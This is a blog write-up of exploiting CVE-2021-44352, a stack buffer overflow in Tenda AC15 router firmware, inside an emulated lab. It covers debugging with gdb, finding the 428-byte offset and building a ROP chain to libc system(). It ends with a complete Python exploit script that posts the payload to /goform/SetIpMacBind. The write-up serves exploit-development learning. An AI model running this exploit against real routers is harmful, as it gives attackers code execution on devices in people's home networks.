



*Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia* □

Posts About

# [Router Exploit] Exploit Tenda ac15 - CVE-2021-44352

Published on 03 Jan 2025

Exploit stack overflow on Tenda AC15 (AC15 V15.03.05.18\_multi device)\_

## Background

In this article, we'll dive into the Tenda AC15 firmware (AC15 V15.03.05.18\_multi device). It's been a while since my last post, and this 2-day research project makes for an easy read! While browsing the internet out of boredom during New Year's celebrations, I stumbled upon a repository called `emux`. I've always been curious about reverse engineering routers, and `emux` (a tool for emulating firmware) seemed incredibly handy (<https://github.com/therealsaumil/emux>). Curiosity sparked, and after a day of wrestling with setups, here we are!. Using a known CVE is always a good starting point for learning exploit development. In this article, I focus on `CVE-2021-44352` and cover environment setup, debugging, and crafting an exploit script.

## Setup

First, clone the `emux` repository

```
git clone https://github.com/therealsaumil/emux
```

Ensure Docker is installed, then set up the volume:

```
./build-emux-volume
```

Build the Docker image:

```
./build-emux-docker
```

Once everything is ready, start the environment:

```
./run-emux-docker
```


Access the shell:

```
./emux-docker-shell
```

Now, launch the firmware:

```
$ launcher
```

Choose Tenda AC15 WiFi Router and access the admin portal at:




Now you can access the tenda admin portal by accessing

```
http://127.0.0.1:20080/login.html
```

Log in using the password `ringzer0` . Thanks to emux for making this setup a breeze!

## Debugging

I assume you have setting up everything, and able to reach the tenda admin portal.



Now we can find the `httpd` PID by running `emuxps` thanks to `emux`

```
$ emuxps | grep httpd
```

Remember to run above command on `emux-docker` environment.

Now you can attach the `httpd` PID to `gdb` by using `emuxgdb` once again, thanks to `emux`

```
$ emuxgdb 15457
```

Now we should be able to debug the `httpd`

## Dynamic Analysis

After reading the CVE-2021-44352 (<https://nvd.nist.gov/vuln/detail/CVE-2021-44352>), we can see that the vulnerability is on `/goform/SetIpMacBind`, from this information we can only focus on this PATH, and the vulnerability parameter is on `list` since we don't know what is the other parameter on this PATH so we should find the correct parameter.

# CVE-2021-44352 Detail

## MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

## Description

A Stack-based Buffer Overflow vulnerability exists in the Tenda AC15 V15.03.05.18\_multi device via the list parameter in a post request in goform/SetIpMacBind.

## Metrics

CVSS Version 4.0

CVSS Version 3.x

CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

### CVSS 3.x Severity and Vector Strings:



NIST: NVD

Base Score: 9.8 CRITICAL

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

I use `grep` to find `SetIpMacBind` string inside webroot folder, and found there's a source code inside `./js/ip_mac_bind.js` mentioned `SetIpMacBind` PATH


```
~ # cd webroot
/var/webroot # ls
ap_diagnosis.html      favicon.ico            net_control.html      sleep_mode.html       upnp_config.html
black_list.html        firewall.html         net_set.html          static_route.html     virtual_server.html
cloud_managment.html  goform               network-diagnose.html status_extender.html  wan_status.html
css                    img                   nvram_default.cfg    status_usb.html       wifi_ap.html
ddns_config.html      index.html            online_list.html     system_automaintain.html wifi_bf.html
default.cfg           ip_mac_bind.html     parental_control.html system_backup.html    wifi_power.html
default_url.cfg       iptv.html            pem                  system_config.html   wifi_signal.html
dhcp_server.html      js                   pptp_client.html    system_led.html       wifi_time.html
directupgrade.html    lan.html             pptp_server.html    system_log.html       wifi_wps.html
dlna.html             lang                 pptp_user.html      system_password.html  wireless.html
dmz.html              login.html           printer.html         system_reboot.html   wireless_access.html
err_account.html      loginerr.html        redirect.html        system_restore.html  wireless_ssid.html
err_dhcp_timeout.html mac_clone.html        remote_web.html      system_status.html   wisp.html
err_noWan.html        mac_filter.html      samba.html           system_time.html     xunleiDownload.html
err_pppoe_timeout.html main.html             simple_upgrade.asp  system_upgrade.html

/var/webroot # grep -rnw '/path/to/somewhere/' -e 'pattern'
grep: /path/to/somewhere/: No such file or directory
/var/webroot # grep -rnw ./ -e 'SetIpMacBind'
./js/ip_mac_bind.js:19:    setUrl: "goform/SetIpMacBind",
/var/webroot #
```

I found the required parameter based on file `./js/ip_mac_bind.js` , it's required `bindnum` and `list`

```
var view = R.moduleView({^M
  initEvent: initBandEvent^M
});^M
^M
var moduleModel = R.moduleModel({^M
  initData: initValue,^M
  getSubmitData: function () {^M
    $("#msg-err").html("&nbsp;");^M
    var trArray = $("#portBody").children(),^M
    len = trArray.length,^M
    i = 0,^M
    bindNum = 0,^M
    data = "list=";^M
    for (i = 0; i < len; i++) {^M
      if (!$ (trArray[i]).children().eq(4).find("span").hasClass("bind")) {^M
        data += encodeURIComponent($(trArray[i]).children().eq(0).find(".dev-name-txt").text() || "") + "\r";^M
        data += $(trArray[i]).children().eq(1).html() + "\r";^M
        data += $(trArray[i]).children().eq(2).html();^M
        data += "\n";^M
        bindNum++;^M
      }^M
    }^M
  }^M
});^M
- ./js/ip_mac_bind.js 50/502 9%
  2 4d 15m 1 bash 2 zsh 3 zsh
```

then check the `httpd` binary using ghidra, there is a function called `fromSetIpMacBind` which processing our input parameter `bindnum` and `list`, and there's a `strcpy` there.



```

81  local_2bc = 0;
82  memset(local_318, 0, 0x40);
83  local_28 = 0;
84  local_2c = 0;
85  local_30 = (char *)0x0;
86  local_18 = (char *)0x0;
87  local_1c = 0;
88  local_24 = FUN_0002babc((int)param_1, (byte *)"bindnum", &DAT_000ee550);
89  local_20 = FUN_0002babc((int)param_1, &DAT_000ee568, &DAT_000ee570);
90  GetValue("dhcps.Staticnum", acStack_270);
91  local_28 = atoi(acStack_270);
92  local_2c = atoi(local_24);
93  if ((-1 < local_2c) && (local_2c < 0x21)) {
94      local_18 = local_20;
95      local_1c = 1;
96 LAB_0008b498:
97      if ((local_18 == (char *)0x0) || (local_2c < local_1c)) goto LAB_0008b4b4;
98      local_30 = strchr(local_18, 10);
99      if (local_30 == (char *)0x0) {
100         strcpy(&local_1b0, local_18);
101     }
102     else {
103         *local_30 = '\0';
104         strcpy(&local_1b0, local_18);
105         local_18 = local_30 + 1;
106     }
107     if (local_1b0 == '\r') {
108         iVar1 = sscanf(acStack_1af, "%17[0-9a-fA-F:]\r%15[0-9.]", &local_2b8, &local_2c);
109         if (iVar1 != 2) {
110             local_14 = 1;
111             puts("get ip and mac error!");
112 LAB_0008b4b4:
113             if ((local_2c + 1 == local_1c) && (local_14 == 0)) {
114                 puts("set static num sucess!");
115                 SetValue("dhcps.Staticnum", local_24);

```

Since we are able to identify the function handler inside the `httpd` binary now it's time for debugging. I use the same method as I explain on the Debugging Section, and I use `pattern create` to find the right offset. After setup the break point address at `0x8b2f8` we got segfault.

```

$R0 : 0x108
$R1 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000
$R2 : 0x0011fdd8 → 0x00120ee8 → 0x0011dc40 → 0x00000000
$R3 : 0x77777777 ("www"?)
$R4 : 0x65616166 ("faae"?)
$R5 : 0x001210b0 → "/goform/SetIpMacBind"
$R6 : 0x1
$R7 : 0xbefffe40 → "httpd"
$R8 : 0x0000ec50 → 0xe1a0c00d
$R9 : 0x0002e450 → push {r4, r11, lr}
$R10 : 0xbefffca8 → 0x00000000
$R11 : 0x65616167 ("gaae"?)
$R12 : 0x400dcedc → 0x400d2a50 → <__pthread_unlock+0> mov r3, r0
$sp : 0xbffff958 → "iaaejaaekaaelaamaaenaaoaaepaaeqaaeraaesaaetaaeua[...]"
$lr : 0x00010944 → str r0, [r11, #-20] ; 0xffffffffec
$pc : 0x65616168 ("haae"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]

```

```

0xbffff958 +0x0000: "iaaejaaekaaelaamaaenaaoaaepaaeqaaeraaesaaetaaeua[...]" ← $sp
0xbffff95c +0x0004: "jaaekaaelaamaaenaaoaaepaaeqaaeraaesaaetaaeuaaeva[...]"
0xbffff960 +0x0008: "kaaelaamaaenaaoaaepaaeqaaeraaesaaetaaeuaaevaaewa[...]"
0xbffff964 +0x000c: "laamaaenaaoaaepaaeqaaeraaesaaetaaeuaaevaaewaexa[...]"
0xbffff968 +0x0010: "maanaaenaaoaaepaaeqaaeraaesaaetaaeuaaevaaewaexaeyaa[...]"
0xbffff96c +0x0014: "naaenaaoaaepaaeqaaeraaesaaetaaeuaaevaaewaexaeyaae"
0xbffff970 +0x0018: "aaepaaeqaaeraaesaaetaaeuaaevaaewaexaeyaae"
0xbffff974 +0x001c: "paaeqaaeraaesaaetaaeuaaevaaewaexaeyaae"

```

```

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x65616168

```

```

[#0] Id 1, Name: "httpd", stopped 0x65616168 in ?? (), reason: SIGSEGV

```

```

gef> :atternQuit
gef> pattern offset 0x65616168
[+] Searching for '0x65616168'
[+] Found at offset 428 (little-endian search) likely
[+] Found at offset 716 (big-endian search)
gef>

```

```

□ 2 ↑ 4d 2h 42m 1 bash 2 zsh 3 zsh

```

Now I am able to overwrite the `%pc` register and found the offset 428 .

## Exploitation

Last piece, we need to collect all gadget required to craft the ROP Chain and obtain RCE, due to lack of PIE and ASLR, we can use a static address offset of libc to calculate the required gadget, you can use tools like objdump to find gadgets.

```

base_libc = 0x40202000
system_offset = 0x0005a270
libc_system = base_libc + system_offset
gadget1 = base_libc + 0x00018298 # pop    {r3, pc}
gadget2 = base_libc + 0x00040cb8 # mov    r0, sp

```

Let's finalize the exploit script.

```

#!/usr/bin/python3
from lib.http import HTTP
from pwn import *

# ip = "172.20.10.4"
ip = "localhost"
port = "20080"
# Break point
# 0x8afb0 (main)
# 0x8b2f8 (strcpy)

def POC():
    # initialize connection
    http_driver = HTTP(ip, port)
    http_driver.login_tenda("admin", "ringzer0")
    print("test network:", http_driver.test_network())

    # making buffers
    # p =

b"aaaabaaacaaadaaaeeaaafaaagaaahaaaiaaaajaaakaaalaaamaaaanaaaaoaaapaaaqaaaraaasaaataaaau

cmd = b'echo "tripoloski here :P, executing uname: `uname -a`"'
base_libc = 0x40202000
system_offset = 0x0005a270
libc_system = base_libc + system_offset
gadget1 = base_libc + 0x00018298 # pop    {r3, pc}
gadget2 = base_libc + 0x00040cb8 # mov    r0, sp

print('gadget1:', hex(gadget1))
print('gadget2:', hex(gadget2))

p = b'A' * (428) + p32(gadget1) + p32(libc_system) + p32(gadget2) + cmd

data = {
    "bindnum": 1,
    "list": p
}
SetIpMacBind = http_driver.make_post("/goform/SetIpMacBind", data)
print("response from vulnerable endpoint: ", SetIpMacBind.text)


```



```
if __name__ == "__main__":
    POC()

# print(x)
```

Run the exploit and we got the shell



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